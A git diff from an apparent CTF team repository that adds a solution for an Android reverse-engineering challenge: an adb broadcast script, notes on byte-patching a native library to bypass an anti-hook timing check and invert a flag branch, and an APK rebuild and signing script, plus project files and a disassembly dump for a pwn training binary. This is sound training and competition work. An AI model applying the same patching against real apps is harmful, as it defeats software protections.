diff --git a/2025/tfc/rev/get_flag.sh b/2025/tfc/rev/get_flag.sh
new file mode 100755
index 0000000..6b8b7a5
--- /dev/null
+++ b/2025/tfc/rev/get_flag.sh
@@ -0,0 +1,7 @@
+adb logcat -c
+adb shell am start -n com.example.oxidized_intentions/.MainActivity
+adb shell am broadcast \
+ -a com.example.oxidized_intentions.TICKET \
+ -n com.example.oxidized_intentions/.TicketReceiver \
+ --es seed "fe2o3rust"
+adb logcat | rg OXI
diff --git a/2025/tfc/rev/ghidra_project/android_rev.gpr b/2025/tfc/rev/ghidra_project/android_rev.gpr
new file mode 100644
index 0000000..e69de29
diff --git a/2025/tfc/rev/ghidra_project/android_rev.rep/idata/00/00000000.prp b/2025/tfc/rev/ghidra_project/android_rev.rep/idata/00/00000000.prp
new file mode 100644
index 0000000..1c39330
--- /dev/null
+++ b/2025/tfc/rev/ghidra_project/android_rev.rep/idata/00/00000000.prp
@@ -0,0 +1,11 @@
+
+
+
+
+
+
+
+
+
+
+
diff --git a/2025/tfc/rev/ghidra_project/android_rev.rep/idata/00/~00000000.db/db.2.gbf b/2025/tfc/rev/ghidra_project/android_rev.rep/idata/00/~00000000.db/db.2.gbf
new file mode 100644
index 0000000..8ae9c01
Binary files /dev/null and b/2025/tfc/rev/ghidra_project/android_rev.rep/idata/00/~00000000.db/db.2.gbf differ
diff --git a/2025/tfc/rev/ghidra_project/android_rev.rep/idata/~index.bak b/2025/tfc/rev/ghidra_project/android_rev.rep/idata/~index.bak
new file mode 100644
index 0000000..db8bb8b
--- /dev/null
+++ b/2025/tfc/rev/ghidra_project/android_rev.rep/idata/~index.bak
@@ -0,0 +1,5 @@
+VERSION=1
+/
+ 00000000:liboxi.so:839fddbdb61f20537512505756
+NEXT-ID:1
+MD5:d41d8cd98f00b204e9800998ecf8427e
diff --git a/2025/tfc/rev/ghidra_project/android_rev.rep/idata/~index.dat b/2025/tfc/rev/ghidra_project/android_rev.rep/idata/~index.dat
new file mode 100644
index 0000000..db8bb8b
--- /dev/null
+++ b/2025/tfc/rev/ghidra_project/android_rev.rep/idata/~index.dat
@@ -0,0 +1,5 @@
+VERSION=1
+/
+ 00000000:liboxi.so:839fddbdb61f20537512505756
+NEXT-ID:1
+MD5:d41d8cd98f00b204e9800998ecf8427e
diff --git a/2025/tfc/rev/ghidra_project/android_rev.rep/project.prp b/2025/tfc/rev/ghidra_project/android_rev.rep/project.prp
new file mode 100644
index 0000000..f280dc1
--- /dev/null
+++ b/2025/tfc/rev/ghidra_project/android_rev.rep/project.prp
@@ -0,0 +1,6 @@
+
+
+
+
+
+
diff --git a/2025/tfc/rev/ghidra_project/android_rev.rep/projectState b/2025/tfc/rev/ghidra_project/android_rev.rep/projectState
new file mode 100644
index 0000000..30c3c65
--- /dev/null
+++ b/2025/tfc/rev/ghidra_project/android_rev.rep/projectState
@@ -0,0 +1,15 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
diff --git a/2025/tfc/rev/ghidra_project/android_rev.rep/user/00/00000000.prp b/2025/tfc/rev/ghidra_project/android_rev.rep/user/00/00000000.prp
new file mode 100644
index 0000000..4dea1e7
--- /dev/null
+++ b/2025/tfc/rev/ghidra_project/android_rev.rep/user/00/00000000.prp
@@ -0,0 +1,11 @@
+
+
+
+
+
+
+
+
+
+
+
diff --git a/2025/tfc/rev/ghidra_project/android_rev.rep/user/00/~00000000.db/db.1.gbf b/2025/tfc/rev/ghidra_project/android_rev.rep/user/00/~00000000.db/db.1.gbf
new file mode 100644
index 0000000..cfd2d43
Binary files /dev/null and b/2025/tfc/rev/ghidra_project/android_rev.rep/user/00/~00000000.db/db.1.gbf differ
diff --git a/2025/tfc/rev/ghidra_project/android_rev.rep/user/~index.dat b/2025/tfc/rev/ghidra_project/android_rev.rep/user/~index.dat
new file mode 100644
index 0000000..b1e697f
--- /dev/null
+++ b/2025/tfc/rev/ghidra_project/android_rev.rep/user/~index.dat
@@ -0,0 +1,4 @@
+VERSION=1
+/
+NEXT-ID:0
+MD5:d41d8cd98f00b204e9800998ecf8427e
diff --git a/2025/tfc/rev/ghidra_project/android_rev.rep/user/~journal.dat b/2025/tfc/rev/ghidra_project/android_rev.rep/user/~journal.dat
new file mode 100644
index 0000000..4a5e38a
--- /dev/null
+++ b/2025/tfc/rev/ghidra_project/android_rev.rep/user/~journal.dat
@@ -0,0 +1,2 @@
+IADD:00000000:/udf_839fddbdb61f20537512505756
+IDSET:/udf_839fddbdb61f20537512505756:c0a8036ab7722760556847918
diff --git a/2025/tfc/rev/ghidra_project/android_rev.rep/versioned/~index.bak b/2025/tfc/rev/ghidra_project/android_rev.rep/versioned/~index.bak
new file mode 100644
index 0000000..b1e697f
--- /dev/null
+++ b/2025/tfc/rev/ghidra_project/android_rev.rep/versioned/~index.bak
@@ -0,0 +1,4 @@
+VERSION=1
+/
+NEXT-ID:0
+MD5:d41d8cd98f00b204e9800998ecf8427e
diff --git a/2025/tfc/rev/ghidra_project/android_rev.rep/versioned/~index.dat b/2025/tfc/rev/ghidra_project/android_rev.rep/versioned/~index.dat
new file mode 100644
index 0000000..b1e697f
--- /dev/null
+++ b/2025/tfc/rev/ghidra_project/android_rev.rep/versioned/~index.dat
@@ -0,0 +1,4 @@
+VERSION=1
+/
+NEXT-ID:0
+MD5:d41d8cd98f00b204e9800998ecf8427e
diff --git a/2025/tfc/rev/ida_project/liboxi.so b/2025/tfc/rev/ida_project/liboxi.so
new file mode 100644
index 0000000..931658b
Binary files /dev/null and b/2025/tfc/rev/ida_project/liboxi.so differ
diff --git a/2025/tfc/rev/ida_project/liboxi.so.i64 b/2025/tfc/rev/ida_project/liboxi.so.i64
new file mode 100644
index 0000000..2a272eb
Binary files /dev/null and b/2025/tfc/rev/ida_project/liboxi.so.i64 differ
diff --git a/2025/tfc/rev/notes.md b/2025/tfc/rev/notes.md
new file mode 100644
index 0000000..b9967c0
--- /dev/null
+++ b/2025/tfc/rev/notes.md
@@ -0,0 +1,53 @@
+When running the application in an emulator and executing
+
+```
+adb shell am broadcast \
+-a com.example.oxidized_intentions.TICKET \
+-n com.example.oxidized_intentions/.TicketReceiver \
+--es seed "testseed123"
+```
+
+Following logs are written:
+
+```
+08-30 16:28:14.359 6201 6201 D OXI : Got broadcast, seed=testseed123
+08-30 16:28:15.550 6201 6201 D OXI : Required seed is: fe2o3rust
+08-30 16:28:15.562 6201 6201 D OXI : Computing flag for seed='testseed123' ...
+08-30 16:28:15.563 6201 6201 D OXI : Seed 'testseed123' is not expected; required seed is 'fe2o3rust'
+08-30 16:28:15.585 6201 6201 D OXI : FLAG=FAKE{wrong_seed}
+```
+
+When using `fe2o3rust` as the seed output looks like this:
+
+```
+08-30 16:34:30.981 7429 7429 D OXI : Got broadcast, seed=fe2o3rust
+08-30 16:34:30.991 7429 7429 D OXI : Computing flag for seed='fe2o3rust' ...
+08-30 16:34:32.021 7429 7429 D OXI : anti_hook_check elapsed=1007ms
+```
+
+Next idea: Just increase the anti_hook_check limit and see what happens
+
+Patching the binary:
+https://book.jorianwoltjer.com/mobile/patching-apks
+
+Patched Bytes:
+`00000000000047AD 0x1 68 6D` This is a marker to test if the right patched library is loaded (just change a letter in a log entry)
+`0000000000011D2A 0x1 07 3F` anti_hook_check now tests if execution took >4000ms and not only 500ms
+
+Current progress:
+```
+❯ adb logcat | rg OXI
+08-30 19:02:05.234 9868 9868 D OXI : Got broadcast, seed=fe2o3rust
+08-30 19:02:05.397 9868 9868 D OXI : Required seed is: fe2o3rust
+08-30 19:02:05.400 9868 9868 D OXI : Computing flag for seed='fe2o3rust' ...
+08-30 19:02:06.403 9868 9868 D OXI : anti_mook_check elapsed=1000ms
+08-30 19:02:06.437 9868 9868 D OXI : FLAG=FAKE{0000000358f228d7}
+```
+
+From where does the FAKE flag come from?
+
+The program checks if a magic number is set. Just invert the branch condition
+
+`0000000000011DE0 0x1 E1 E0` Changes B.NE to B.EQ
+
+
diff --git a/2025/tfc/rev/patch_apk.sh b/2025/tfc/rev/patch_apk.sh
new file mode 100755
index 0000000..42b8e38
--- /dev/null
+++ b/2025/tfc/rev/patch_apk.sh
@@ -0,0 +1,14 @@
+#!/bin/sh
+
+echo "Starting patch"
+
+set -euo pipefail
+
+apktool b -f patched_app
+zipalign -f 4 patched_app/dist/app-release.apk patched_app/dist/app-release-aligned.apk
+apksigner sign -out patched_app/dist/app-release-signed.apk --ks-key-alias 'apk' --ks apk.keystore --key-pass 'pass:password' --ks-pass 'pass:password' -v patched_app/dist/app-release-aligned.apk
+adb uninstall com.example.oxidized_intentions
+adb install patched_app/dist/app-release-signed.apk
+
+echo "Patched successfully"
+
diff --git a/organization/ctfs/h4tum_2025/misc/mosaic b/organization/ctfs/h4tum_2025/misc/mosaic
new file mode 160000
index 0000000..6d8117c
--- /dev/null
+++ b/organization/ctfs/h4tum_2025/misc/mosaic
@@ -0,0 +1 @@
+Subproject commit 6d8117c53ce42e724ec5f70e6e260aba160475f6
diff --git a/training/h4tum/binex_training/cscg_2024_intro_pwn/Dockerfile b/training/h4tum/binex_training/cscg_2024_intro_pwn/Dockerfile
new file mode 100644
index 0000000..dc8b14c
--- /dev/null
+++ b/training/h4tum/binex_training/cscg_2024_intro_pwn/Dockerfile
@@ -0,0 +1,7 @@
+# docker build -t pwn1 . && docker run -p 1024:1024 --rm -it pwn1
+
+FROM ubuntu:22.04
+COPY pwn1 flag ynetd ./
+
+EXPOSE 1024
+CMD ./ynetd ./pwn1
diff --git a/training/h4tum/binex_training/cscg_2024_intro_pwn/dump.txt b/training/h4tum/binex_training/cscg_2024_intro_pwn/dump.txt
new file mode 100644
index 0000000..adc8d35
--- /dev/null
+++ b/training/h4tum/binex_training/cscg_2024_intro_pwn/dump.txt
@@ -0,0 +1,1535 @@
+
+pwn1: file format elf64-x86-64
+
+
+Disassembly of section .interp:
+
+0000000000000238 <.interp> (File Offset: 0x238):
+ 238: 2f (bad)
+ 239: 6c ins BYTE PTR es:[rdi],dx
+ 23a: 69 62 36 34 2f 6c 64 imul esp,DWORD PTR [rdx+0x36],0x646c2f34
+ 241: 2d 6c 69 6e 75 sub eax,0x756e696c
+ 246: 78 2d js 275 <_init-0x4f3> (File Offset: 0x275)
+ 248: 78 38 js 282 <_init-0x4e6> (File Offset: 0x282)
+ 24a: 36 2d 36 34 2e 73 ss sub eax,0x732e3436
+ 250: 6f outs dx,DWORD PTR ds:[rsi]
+ 251: 2e 32 00 cs xor al,BYTE PTR [rax]
+
+Disassembly of section .note.ABI-tag:
+
+0000000000000254 <.note.ABI-tag> (File Offset: 0x254):
+ 254: 04 00 add al,0x0
+ 256: 00 00 add BYTE PTR [rax],al
+ 258: 10 00 adc BYTE PTR [rax],al
+ 25a: 00 00 add BYTE PTR [rax],al
+ 25c: 01 00 add DWORD PTR [rax],eax
+ 25e: 00 00 add BYTE PTR [rax],al
+ 260: 47 rex.RXB
+ 261: 4e 55 rex.WRX push rbp
+ 263: 00 00 add BYTE PTR [rax],al
+ 265: 00 00 add BYTE PTR [rax],al
+ 267: 00 03 add BYTE PTR [rbx],al
+ 269: 00 00 add BYTE PTR [rax],al
+ 26b: 00 02 add BYTE PTR [rdx],al
+ 26d: 00 00 add BYTE PTR [rax],al
+ 26f: 00 00 add BYTE PTR [rax],al
+ 271: 00 00 add BYTE PTR [rax],al
+ ...
+
+Disassembly of section .note.gnu.build-id:
+
+0000000000000274 <.note.gnu.build-id> (File Offset: 0x274):
+ 274: 04 00 add al,0x0
+ 276: 00 00 add BYTE PTR [rax],al
+ 278: 14 00 adc al,0x0
+ 27a: 00 00 add BYTE PTR [rax],al
+ 27c: 03 00 add eax,DWORD PTR [rax]
+ 27e: 00 00 add BYTE PTR [rax],al
+ 280: 47 rex.RXB
+ 281: 4e 55 rex.WRX push rbp
+ 283: 00 5b c2 add BYTE PTR [rbx-0x3e],bl
+ 286: 5d pop rbp
+ 287: f2 45 cb repnz rex.RB retf
+ 28a: 4c dd d7 rex.WR fst st(7)
+ 28d: 94 xchg esp,eax
+ 28e: fb sti
+ 28f: f9 stc
+ 290: 75 e6 jne 278 <_init-0x4f0> (File Offset: 0x278)
+ 292: 10 f1 adc cl,dh
+ 294: b6 6d mov dh,0x6d
+ 296: d4 (bad)
+ 297: 6a .byte 0x6a
+
+Disassembly of section .gnu.hash:
+
+0000000000000298 <.gnu.hash> (File Offset: 0x298):
+ 298: 03 00 add eax,DWORD PTR [rax]
+ 29a: 00 00 add BYTE PTR [rax],al
+ 29c: 0f 00 00 sldt WORD PTR [rax]
+ 29f: 00 01 add BYTE PTR [rcx],al
+ 2a1: 00 00 add BYTE PTR [rax],al
+ 2a3: 00 06 add BYTE PTR [rsi],al
+ 2a5: 00 00 add BYTE PTR [rax],al
+ 2a7: 00 00 add BYTE PTR [rax],al
+ 2a9: 01 20 add DWORD PTR [rax],esp
+ 2ab: 00 80 01 10 02 0f add BYTE PTR [rax+0xf021001],al
+ 2b1: 00 00 add BYTE PTR [rax],al
+ 2b3: 00 10 add BYTE PTR [rax],dl
+ 2b5: 00 00 add BYTE PTR [rax],al
+ 2b7: 00 00 add BYTE PTR [rax],al
+ 2b9: 00 00 add BYTE PTR [rax],al
+ 2bb: 00 29 add BYTE PTR [rcx],ch
+ 2bd: 1d 8c 1c 66 55 sbb eax,0x55661c8c
+ 2c2: 61 (bad)
+ 2c3: 10 39 adc BYTE PTR [rcx],bh
+ 2c5: f2 repnz
+ 2c6: 8b .byte 0x8b
+ 2c7: 1c .byte 0x1c
+
+Disassembly of section .dynsym:
+
+00000000000002c8 <.dynsym> (File Offset: 0x2c8):
+ ... (skipping 24 zeroes, resuming at file offset: 0x2e0)
+ 2e0: 86 00 xchg BYTE PTR [rax],al
+ 2e2: 00 00 add BYTE PTR [rax],al
+ 2e4: 20 00 and BYTE PTR [rax],al
+ ... (skipping 16 zeroes, resuming at file offset: 0x2f6)
+ 2f6: 00 00 add BYTE PTR [rax],al
+ 2f8: 22 00 and al,BYTE PTR [rax]
+ 2fa: 00 00 add BYTE PTR [rax],al
+ 2fc: 12 00 adc al,BYTE PTR [rax]
+ ... (skipping 16 zeroes, resuming at file offset: 0x30e)
+ 30e: 00 00 add BYTE PTR [rax],al
+ 310: 17 (bad)
+ 311: 00 00 add BYTE PTR [rax],al
+ 313: 00 12 add BYTE PTR [rdx],dl
+ ... (skipping 16 zeroes, resuming at file offset: 0x325)
+ 325: 00 00 add BYTE PTR [rax],al
+ 327: 00 43 00 add BYTE PTR [rbx+0x0],al
+ 32a: 00 00 add BYTE PTR [rax],al
+ 32c: 12 00 adc al,BYTE PTR [rax]
+ ... (skipping 16 zeroes, resuming at file offset: 0x33e)
+ 33e: 00 00 add BYTE PTR [rax],al
+ 340: 28 00 sub BYTE PTR [rax],al
+ 342: 00 00 add BYTE PTR [rax],al
+ 344: 12 00 adc al,BYTE PTR [rax]
+ ... (skipping 16 zeroes, resuming at file offset: 0x356)
+ 356: 00 00 add BYTE PTR [rax],al
+ 358: 3d 00 00 00 12 cmp eax,0x12000000
+ ... (skipping 16 zeroes, resuming at file offset: 0x36d)
+ 36d: 00 00 add BYTE PTR [rax],al
+ 36f: 00 68 00 add BYTE PTR [rax+0x0],ch
+ 372: 00 00 add BYTE PTR [rax],al
+ 374: 12 00 adc al,BYTE PTR [rax]
+ ... (skipping 16 zeroes, resuming at file offset: 0x386)
+ 386: 00 00 add BYTE PTR [rax],al
+ 388: 61 (bad)
+ 389: 00 00 add BYTE PTR [rax],al
+ 38b: 00 12 add BYTE PTR [rdx],dl
+ ... (skipping 16 zeroes, resuming at file offset: 0x39d)
+ 39d: 00 00 add BYTE PTR [rax],al
+ 39f: 00 10 add BYTE PTR [rax],dl
+ 3a1: 00 00 add BYTE PTR [rax],al
+ 3a3: 00 12 add BYTE PTR [rdx],dl
+ ... (skipping 16 zeroes, resuming at file offset: 0x3b5)
+ 3b5: 00 00 add BYTE PTR [rax],al
+ 3b7: 00 a2 00 00 00 20 add BYTE PTR [rdx+0x20000000],ah
+ ... (skipping 16 zeroes, resuming at file offset: 0x3cd)
+ 3cd: 00 00 add BYTE PTR [rax],al
+ 3cf: 00 0b add BYTE PTR [rbx],cl
+ 3d1: 00 00 add BYTE PTR [rax],al
+ 3d3: 00 12 add BYTE PTR [rdx],dl
+ ... (skipping 16 zeroes, resuming at file offset: 0x3e5)
+ 3e5: 00 00 add BYTE PTR [rax],al
+ 3e7: 00 59 00 add BYTE PTR [rcx+0x0],bl
+ 3ea: 00 00 add BYTE PTR [rax],al
+ 3ec: 12 00 adc al,BYTE PTR [rax]
+ ... (skipping 16 zeroes, resuming at file offset: 0x3fe)
+ 3fe: 00 00 add BYTE PTR [rax],al
+ 400: b1 00 mov cl,0x0
+ 402: 00 00 add BYTE PTR [rax],al
+ 404: 20 00 and BYTE PTR [rax],al
+ ... (skipping 16 zeroes, resuming at file offset: 0x416)
+ 416: 00 00 add BYTE PTR [rax],al
+ 418: 4a 00 00 rex.WX add BYTE PTR [rax],al
+ 41b: 00 22 add BYTE PTR [rdx],ah
+ ... (skipping 16 zeroes, resuming at file offset: 0x42d)
+ 42d: 00 00 add BYTE PTR [rax],al
+ 42f: 00 2f add BYTE PTR [rdi],ch
+ 431: 00 00 add BYTE PTR [rax],al
+ 433: 00 11 add BYTE PTR [rcx],dl
+ 435: 00 18 add BYTE PTR [rax],bl
+ 437: 00 20 add BYTE PTR [rax],ah
+ 439: 20 20 and BYTE PTR [rax],ah
+ 43b: 00 00 add BYTE PTR [rax],al
+ 43d: 00 00 add BYTE PTR [rax],al
+ 43f: 00 08 add BYTE PTR [rax],cl
+ 441: 00 00 add BYTE PTR [rax],al
+ 443: 00 00 add BYTE PTR [rax],al
+ 445: 00 00 add BYTE PTR [rax],al
+ 447: 00 1c 00 add BYTE PTR [rax+rax*1],bl
+ 44a: 00 00 add BYTE PTR [rax],al
+ 44c: 11 00 adc DWORD PTR [rax],eax
+ 44e: 18 00 sbb BYTE PTR [rax],al
+ 450: 30 20 xor BYTE PTR [rax],ah
+ 452: 20 00 and BYTE PTR [rax],al
+ 454: 00 00 add BYTE PTR [rax],al
+ 456: 00 00 add BYTE PTR [rax],al
+ 458: 08 00 or BYTE PTR [rax],al
+ 45a: 00 00 add BYTE PTR [rax],al
+ 45c: 00 00 add BYTE PTR [rax],al
+ 45e: 00 00 add BYTE PTR [rax],al
+ 460: 36 00 00 ss add BYTE PTR [rax],al
+ 463: 00 11 add BYTE PTR [rcx],dl
+ 465: 00 18 add BYTE PTR [rax],bl
+ 467: 00 40 20 add BYTE PTR [rax+0x20],al
+ 46a: 20 00 and BYTE PTR [rax],al
+ 46c: 00 00 add BYTE PTR [rax],al
+ 46e: 00 00 add BYTE PTR [rax],al
+ 470: 08 00 or BYTE PTR [rax],al
+ 472: 00 00 add BYTE PTR [rax],al
+ 474: 00 00 add BYTE PTR [rax],al
+ ...
+
+Disassembly of section .dynstr:
+
+0000000000000478 <.dynstr> (File Offset: 0x478):
+ 478: 00 6c 69 62 add BYTE PTR [rcx+rbp*2+0x62],ch
+ 47c: 63 2e movsxd ebp,DWORD PTR [rsi]
+ 47e: 73 6f jae 4ef <_init-0x279> (File Offset: 0x4ef)
+ 480: 2e 36 00 67 65 cs ss add BYTE PTR [rdi+0x65],ah
+ 485: 74 73 je 4fa <_init-0x26e> (File Offset: 0x4fa)
+ 487: 00 73 69 add BYTE PTR [rbx+0x69],dh
+ 48a: 67 6e outs dx,BYTE PTR ds:[esi]
+ 48c: 61 (bad)
+ 48d: 6c ins BYTE PTR es:[rdi],dx
+ 48e: 00 70 75 add BYTE PTR [rax+0x75],dh
+ 491: 74 73 je 506 <_init-0x262> (File Offset: 0x506)
+ 493: 00 73 74 add BYTE PTR [rbx+0x74],dh
+ 496: 64 69 6e 00 5f 65 78 imul ebp,DWORD PTR fs:[rsi+0x0],0x6978655f
+ 49d: 69
+ 49e: 74 00 je 4a0 <_init-0x2c8> (File Offset: 0x4a0)
+ 4a0: 70 72 jo 514 <_init-0x254> (File Offset: 0x514)
+ 4a2: 69 6e 74 66 00 73 74 imul ebp,DWORD PTR [rsi+0x74],0x74730066
+ 4a9: 64 6f outs dx,DWORD PTR fs:[rsi]
+ 4ab: 75 74 jne 521 <_init-0x247> (File Offset: 0x521)
+ 4ad: 00 73 74 add BYTE PTR [rbx+0x74],dh
+ 4b0: 64 65 72 72 fs gs jb 526 <_init-0x242> (File Offset: 0x526)
+ 4b4: 00 61 6c add BYTE PTR [rcx+0x6c],ah
+ 4b7: 61 (bad)
+ 4b8: 72 6d jb 527 <_init-0x241> (File Offset: 0x527)
+ 4ba: 00 73 79 add BYTE PTR [rbx+0x79],dh
+ 4bd: 73 74 jae 533 <_init-0x235> (File Offset: 0x533)
+ 4bf: 65 6d gs ins DWORD PTR es:[rdi],dx
+ 4c1: 00 5f 5f add BYTE PTR [rdi+0x5f],bl
+ 4c4: 63 78 61 movsxd edi,DWORD PTR [rax+0x61]
+ 4c7: 5f pop rdi
+ 4c8: 66 69 6e 61 6c 69 imul bp,WORD PTR [rsi+0x61],0x696c
+ 4ce: 7a 65 jp 535 <_init-0x233> (File Offset: 0x535)
+ 4d0: 00 73 65 add BYTE PTR [rbx+0x65],dh
+ 4d3: 74 76 je 54b <_init-0x21d> (File Offset: 0x54b)
+ 4d5: 62 75 66 00 73 (bad)
+ 4da: 74 72 je 54e <_init-0x21a> (File Offset: 0x54e)
+ 4dc: 63 6d 70 movsxd ebp,DWORD PTR [rbp+0x70]
+ 4df: 00 5f 5f add BYTE PTR [rdi+0x5f],bl
+ 4e2: 6c ins BYTE PTR es:[rdi],dx
+ 4e3: 69 62 63 5f 73 74 61 imul esp,DWORD PTR [rdx+0x63],0x6174735f
+ 4ea: 72 74 jb 560 <_init-0x208> (File Offset: 0x560)
+ 4ec: 5f pop rdi
+ 4ed: 6d ins DWORD PTR es:[rdi],dx
+ 4ee: 61 (bad)
+ 4ef: 69 6e 00 47 4c 49 42 imul ebp,DWORD PTR [rsi+0x0],0x42494c47
+ 4f6: 43 5f rex.XB pop r15
+ 4f8: 32 2e xor ch,BYTE PTR [rsi]
+ 4fa: 32 2e xor ch,BYTE PTR [rsi]
+ 4fc: 35 00 5f 49 54 xor eax,0x54495f00
+ 501: 4d 5f rex.WRB pop r15
+ 503: 64 65 72 65 fs gs jb 56c <_init-0x1fc> (File Offset: 0x56c)
+ 507: 67 69 73 74 65 72 54 imul esi,DWORD PTR [ebx+0x74],0x4d547265
+ 50e: 4d
+ 50f: 43 6c rex.XB ins BYTE PTR es:[rdi],dx
+ 511: 6f outs dx,DWORD PTR ds:[rsi]
+ 512: 6e outs dx,BYTE PTR ds:[rsi]
+ 513: 65 54 gs push rsp
+ 515: 61 (bad)
+ 516: 62 6c 65 00 5f (bad)
+ 51b: 5f pop rdi
+ 51c: 67 6d ins DWORD PTR es:[edi],dx
+ 51e: 6f outs dx,DWORD PTR ds:[rsi]
+ 51f: 6e outs dx,BYTE PTR ds:[rsi]
+ 520: 5f pop rdi
+ 521: 73 74 jae 597 <_init-0x1d1> (File Offset: 0x597)
+ 523: 61 (bad)
+ 524: 72 74 jb 59a <_init-0x1ce> (File Offset: 0x59a)
+ 526: 5f pop rdi
+ 527: 5f pop rdi
+ 528: 00 5f 49 add BYTE PTR [rdi+0x49],bl
+ 52b: 54 push rsp
+ 52c: 4d 5f rex.WRB pop r15
+ 52e: 72 65 jb 595 <_init-0x1d3> (File Offset: 0x595)
+ 530: 67 69 73 74 65 72 54 imul esi,DWORD PTR [ebx+0x74],0x4d547265
+ 537: 4d
+ 538: 43 6c rex.XB ins BYTE PTR es:[rdi],dx
+ 53a: 6f outs dx,DWORD PTR ds:[rsi]
+ 53b: 6e outs dx,BYTE PTR ds:[rsi]
+ 53c: 65 54 gs push rsp
+ 53e: 61 (bad)
+ 53f: 62 .byte 0x62
+ 540: 6c ins BYTE PTR es:[rdi],dx
+ 541: 65 gs
+ ...
+
+Disassembly of section .gnu.version:
+
+0000000000000544 <.gnu.version> (File Offset: 0x544):
+ 544: 00 00 add BYTE PTR [rax],al
+ 546: 00 00 add BYTE PTR [rax],al
+ 548: 02 00 add al,BYTE PTR [rax]
+ 54a: 02 00 add al,BYTE PTR [rax]
+ 54c: 02 00 add al,BYTE PTR [rax]
+ 54e: 02 00 add al,BYTE PTR [rax]
+ 550: 02 00 add al,BYTE PTR [rax]
+ 552: 02 00 add al,BYTE PTR [rax]
+ 554: 02 00 add al,BYTE PTR [rax]
+ 556: 02 00 add al,BYTE PTR [rax]
+ 558: 00 00 add BYTE PTR [rax],al
+ 55a: 02 00 add al,BYTE PTR [rax]
+ 55c: 02 00 add al,BYTE PTR [rax]
+ 55e: 00 00 add BYTE PTR [rax],al
+ 560: 02 00 add al,BYTE PTR [rax]
+ 562: 02 00 add al,BYTE PTR [rax]
+ 564: 02 00 add al,BYTE PTR [rax]
+ 566: 02 00 add al,BYTE PTR [rax]
+
+Disassembly of section .gnu.version_r:
+
+0000000000000568 <.gnu.version_r> (File Offset: 0x568):
+ 568: 01 00 add DWORD PTR [rax],eax
+ 56a: 01 00 add DWORD PTR [rax],eax
+ 56c: 01 00 add DWORD PTR [rax],eax
+ 56e: 00 00 add BYTE PTR [rax],al
+ 570: 10 00 adc BYTE PTR [rax],al
+ 572: 00 00 add BYTE PTR [rax],al
+ 574: 00 00 add BYTE PTR [rax],al
+ 576: 00 00 add BYTE PTR [rax],al
+ 578: 75 1a jne 594 <_init-0x1d4> (File Offset: 0x594)
+ 57a: 69 09 00 00 02 00 imul ecx,DWORD PTR [rcx],0x20000
+ 580: 7a 00 jp 582 <_init-0x1e6> (File Offset: 0x582)
+ 582: 00 00 add BYTE PTR [rax],al
+ 584: 00 00 add BYTE PTR [rax],al
+ ...
+
+Disassembly of section .rela.dyn:
+
+0000000000000588 <.rela.dyn> (File Offset: 0x588):
+ 588: 78 1d js 5a7 <_init-0x1c1> (File Offset: 0x5a7)
+ 58a: 20 00 and BYTE PTR [rax],al
+ 58c: 00 00 add BYTE PTR [rax],al
+ 58e: 00 00 add BYTE PTR [rax],al
+ 590: 08 00 or BYTE PTR [rax],al
+ 592: 00 00 add BYTE PTR [rax],al
+ 594: 00 00 add BYTE PTR [rax],al
+ 596: 00 00 add BYTE PTR [rax],al
+ 598: 30 09 xor BYTE PTR [rcx],cl
+ 59a: 00 00 add BYTE PTR [rax],al
+ 59c: 00 00 add BYTE PTR [rax],al
+ 59e: 00 00 add BYTE PTR [rax],al
+ 5a0: 80 1d 20 00 00 00 00 sbb BYTE PTR [rip+0x20],0x0 # 5c7 <_init-0x1a1> (File Offset: 0x5c7)
+ 5a7: 00 08 add BYTE PTR [rax],cl
+ 5a9: 00 00 add BYTE PTR [rax],al
+ 5ab: 00 00 add BYTE PTR [rax],al
+ 5ad: 00 00 add BYTE PTR [rax],al
+ 5af: 00 f0 add al,dh
+ 5b1: 08 00 or BYTE PTR [rax],al
+ 5b3: 00 00 add BYTE PTR [rax],al
+ 5b5: 00 00 add BYTE PTR [rax],al
+ 5b7: 00 08 add BYTE PTR [rax],cl
+ 5b9: 20 20 and BYTE PTR [rax],ah
+ 5bb: 00 00 add BYTE PTR [rax],al
+ 5bd: 00 00 add BYTE PTR [rax],al
+ 5bf: 00 08 add BYTE PTR [rax],cl
+ 5c1: 00 00 add BYTE PTR [rax],al
+ 5c3: 00 00 add BYTE PTR [rax],al
+ 5c5: 00 00 add BYTE PTR [rax],al
+ 5c7: 00 08 add BYTE PTR [rax],cl
+ 5c9: 20 20 and BYTE PTR [rax],ah
+ 5cb: 00 00 add BYTE PTR [rax],al
+ 5cd: 00 00 add BYTE PTR [rax],al
+ 5cf: 00 d8 add al,bl
+ 5d1: 1f (bad)
+ 5d2: 20 00 and BYTE PTR [rax],al
+ 5d4: 00 00 add BYTE PTR [rax],al
+ 5d6: 00 00 add BYTE PTR [rax],al
+ 5d8: 06 (bad)
+ 5d9: 00 00 add BYTE PTR [rax],al
+ 5db: 00 01 add BYTE PTR [rcx],al
+ ... (skipping 8 zeroes, resuming at file offset: 0x5e5)
+ 5e5: 00 00 add BYTE PTR [rax],al
+ 5e7: 00 e0 add al,ah
+ 5e9: 1f (bad)
+ 5ea: 20 00 and BYTE PTR [rax],al
+ 5ec: 00 00 add BYTE PTR [rax],al
+ 5ee: 00 00 add BYTE PTR [rax],al
+ 5f0: 06 (bad)
+ 5f1: 00 00 add BYTE PTR [rax],al
+ 5f3: 00 07 add BYTE PTR [rdi],al
+ ... (skipping 8 zeroes, resuming at file offset: 0x5fd)
+ 5fd: 00 00 add BYTE PTR [rax],al
+ 5ff: 00 e8 add al,ch
+ 601: 1f (bad)
+ 602: 20 00 and BYTE PTR [rax],al
+ 604: 00 00 add BYTE PTR [rax],al
+ 606: 00 00 add BYTE PTR [rax],al
+ 608: 06 (bad)
+ 609: 00 00 add BYTE PTR [rax],al
+ 60b: 00 0a add BYTE PTR [rdx],cl
+ ... (skipping 8 zeroes, resuming at file offset: 0x615)
+ 615: 00 00 add BYTE PTR [rax],al
+ 617: 00 f0 add al,dh
+ 619: 1f (bad)
+ 61a: 20 00 and BYTE PTR [rax],al
+ 61c: 00 00 add BYTE PTR [rax],al
+ 61e: 00 00 add BYTE PTR [rax],al
+ 620: 06 (bad)
+ 621: 00 00 add BYTE PTR [rax],al
+ 623: 00 0d 00 00 00 00 add BYTE PTR [rip+0x0],cl # 629 <_init-0x13f> (File Offset: 0x629)
+ 629: 00 00 add BYTE PTR [rax],al
+ 62b: 00 00 add BYTE PTR [rax],al
+ 62d: 00 00 add BYTE PTR [rax],al
+ 62f: 00 f8 add al,bh
+ 631: 1f (bad)
+ 632: 20 00 and BYTE PTR [rax],al
